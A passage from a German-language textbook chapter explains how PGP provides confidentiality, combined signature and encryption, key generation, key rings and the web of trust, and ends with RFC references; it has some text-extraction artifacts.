2. Der verwendete Komprimierungsalgorithmus ist nicht deterministisch. Daher
kann aus einem Klartext nicht eindeutig der komprimierte Text generiert wer-
den, was zu einer̈Uberpr̈ufung der Signatur aber erforderlich wäre, wenn die
Signaturüber dem komprimierten Text erstellt würde.

9.6.2 Geheimhaltung

E(K )S

m

KSD

D

KB

-1

Z
-1

Z ||

KS

E

E

KB

m

Partei A Partei B

Abbildung 9.3: Geheimhaltung mit PGP

Eine ParteiA verschl̈usselt einen Klartext für die ParteiB nach folgendem Verfahren:

1. Die ParteiA komprimiert den Klartextm mit Hilfe einer Komprimierungsfunktion
Z zuZ(m).

2. Die ParteiA generiert einen SchlüsselKS.

3. Der komprimierte Klartext wird mit dem generierten SchlüsselKS und des symme-
trischen IDEA-Verfahrens verschlüsselt:

EKS(Z(m))

4. Der Schl̈usselKS wird unter Verwendung des̈offentlichen Schl̈usselsKB der Partei
B verschl̈usselt:

EKB(KS)
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5. Der verschl̈usselte Schlüssel wird mit dem verschlüsselten Klartext konkateniert:

EKB(KS)‖EKS(Z(m))

Die ParteiB entschl̈usselt einen verschlüsselten Klartext von der ParteiA nach folgendem
Verfahren:

1. Die verschl̈usselte Nachricht wird zuerst in den verschlüsselten SchlüsselEKB(KS)
und den verschlüsselten KlartextEKS(Z(m)) zerlegt.

2. Der verschl̈usselte Schlüssel wird mit Hilfe des privaten SchlüsselK−1
B vonB ent-

schl̈usselt:
DK−1

B
(EKB(KS)) = KS

3. Mit Hilfe von KS wird der verschl̈usselte Klartext entschlüsselt:

DKS(EKS(Z(m))) = Z(m)

4. Die ParteiB hebt nun die Komprimierung auf und erhält den Klartext:

Z−1(Z(m)) = m

Bemerkungen:

• Zur Verschl̈usselung wird das symmetrische Verfahren IDEA eingesetzt, das wesent-
lich schneller ist als RSA.

• Der Schl̈ussel f̈ur das symmetrische Verfahren wird nur einmal benutzt.

• Die Übertragung des symmetrischen SchlüsselsKS erfolgt gescḧutzt durch das RSA
Verfahren.

• Das gesamte Verfahren hängt also von der Sicherheit des RSA Verfahrens und der
verwendeten RSA Schlüssel ab, unabhängig davon, welches symmetrische Verfahren
zur Verschl̈usselung Verwendung findet.

9.6.3 Signatur und Geheimhaltung
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Abbildung 9.4: Signatur und Geheimhaltung mit PGP
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Die beiden beschriebenen Verfahren zur Signatur und Geheimhaltung lassen sich leicht
kombinieren, indem man zuerst die Nachricht signiert und anschließend verschlüsselt. Da-
mit erḧalt man ein effizientes Verfahren, das die Integritiät, Authentiziẗat und Vertraulich-
keit eines Klartextes geẅahrleistet.

Bemerkungen:

• Zur Übertragung via E-Mail kann der Text in Radix-64 dargestellt werden, wobei
immer drei Bytes (24 Bit) in vier Zeichen (6 Bit) kodiert werden. Die Zeichen sind
dem ASCII Alphabet entnommen und benötigen daher selbst wieder um jeweils 8
Bit.

• Für sehr lange Klartexte stellt PGP Funktionen zur Segmentierung und Reassemb-
lierung bereit.

9.6.4 Schl̈usselgenerierung

Zur Generierung von RSA Schlüsseln verwendet PGP ein Verfahren, bei dem das Schreib-
verhalten des Benutzers eingeht. Außerdem werden die gewonnenen Zufallszahlen durch
den symmetrischen IDEA Algorithmus verarbeitet, um gutes Schlüsselmaterial zu bekom-
men. Auf einigen Systemen (z.B. Linux) benutzt PGP spezielle vom Betriebssystem be-
reitgestellte Dateien (/dev/random/ ), die zuf̈allige Informationen enthalten.

Zur Bestimmung von RSA Schlüsseln bestimmen Zufallszahlen, wo mit der Suche nach
einer Primzahl begonnen wird. Der verwendete Exponent muß mindestens eine Größe von
17 Bit haben, wodurch ein Angriff auf RSA aufgrund eines kleinen Exponenten verhindert
wird.

9.6.5 Schl̈usselverwaltung

Die von PGP ben̈otigten RSA Schl̈ussel werden in sogenannten Schlüsselringen (key ring)
verwaltet. Jeder Benutzer hat jeweils einen Schlüsselring f̈ur die eigenen privaten Schlüssel
und einen Schlüsselring f̈ur die bekannten̈offentlichen Schl̈ussel.

Die Datei, in der die privaten Schlüssel verwaltet werden, enthält Zertifikate mit folgendem
Aufbau:

Timestamp Key ID Public Key Encrypted Private Key User ID
...

...
...

...
...

Ti Ki mod 264 Ki EH(Pi)(K
−1
i ) Useri

...
...

...
...

...

Tabelle 9.1: Aufbau des privaten Schlüsselrings

Die Datei, die die bekannten̈offentlichen Schl̈ussel verwaltet, enthält Zertifikate mit fol-
gendem Aufbau:
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Timestamp Key ID Public Key Owner Trust User ID Signatures Sig. Trust(s)
...

...
...

...
...

...
...

Ti Ki mod 264 Ki otrusti Useri . . . . . .
...

...
...

...
...

...
...

Tabelle 9.2: Aufbau des̈offentlichen Schl̈usselrings

Bemerkungen

• Der Schl̈usselK−1
i wird selbst mit IDEA verschl̈usselt abgelegt, wobei zur Ver- und

Entschl̈usselung ein Schlüssel benutzt wird, der sich aus einer Hashfunktionüber ein
möglichst langes Paßwort (passphrase) ergibt. Der Zugriff auf den privaten Schlüssel
erfordert daher immer die Eingabe des PGP Paßworts, das daher niemals niederge-
schrieben oder gar in Dateien abgelegt werden sollte.

• Zur Identifikation eines in der Regel sehr langen SchlüsselsKi werden die letzten 64
Bit des Schl̈usselsKi mod 264 verwendet.

• Die Schl̈ussel imöffentlichen Schl̈usselring k̈onnen von mehreren Parteien unter-
schrieben worden sein, wobei man den einzelnen Unterschriften verschiedene Ver-
trauensstufen zuweisen kann. Es werden vier Vertrauensstufen unterschieden:

1. Unbekannt (undefined trust)

2. Kein Vertrauen (usually not trusted)

3. Normales Vertrauen (usually trusted)

4. Volles Vertrauen (always trusted)

• Die Verteilung der Zertifikate wird durch das sogenannte Netz des Vertrauens (web
of trust) realisiert. Dabei wird einem Schlüssel Vertrauen geschenkt, wenn er von
gen̈ugend Personen signiert wurde, denen man bereits vertraut.

• Das Netz des Vertrauens kommt ohne aufwendige Zertifizierungsinstanzen aus, be-
ruht aber allein auf der Sorgfalt der PGP Benutzer. Gelegentlich werden daher spezi-
elle Treffen veranstaltet, bei denen PGP Schlüsselüberpr̈uft und gegenseitig signiert
werden (key signing party).

Literaturhinweise

IPsec ist in einer ganzen Reihe von Dokumenten definiert. Als Einstieg empfiehlt sich RFC
2401 [32]. IKE ist in RFC 2409 [26] definiert.

Die Sicherheitserweiterungen des DNS sind in RFC 2535 [15] beschrieben. TLS ist in
RFC 2246 [13] definiert. Eine Spezifikation von SSH in einem RFC ist in Vorbereitung.
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PGP ist in mehreren B̈uchern ausf̈uhrlich dokumentiert [61, 62, 23, 57]. Eine erste Defini-
tion des PGP Nachrichtenformats ist in RFC 1991 [2] zu finden. Mittlerweile befindet sich
das PGP Nachrichtenformat in der Standardisierung innerhalb der IETF, siehe RFC 2440
[9].
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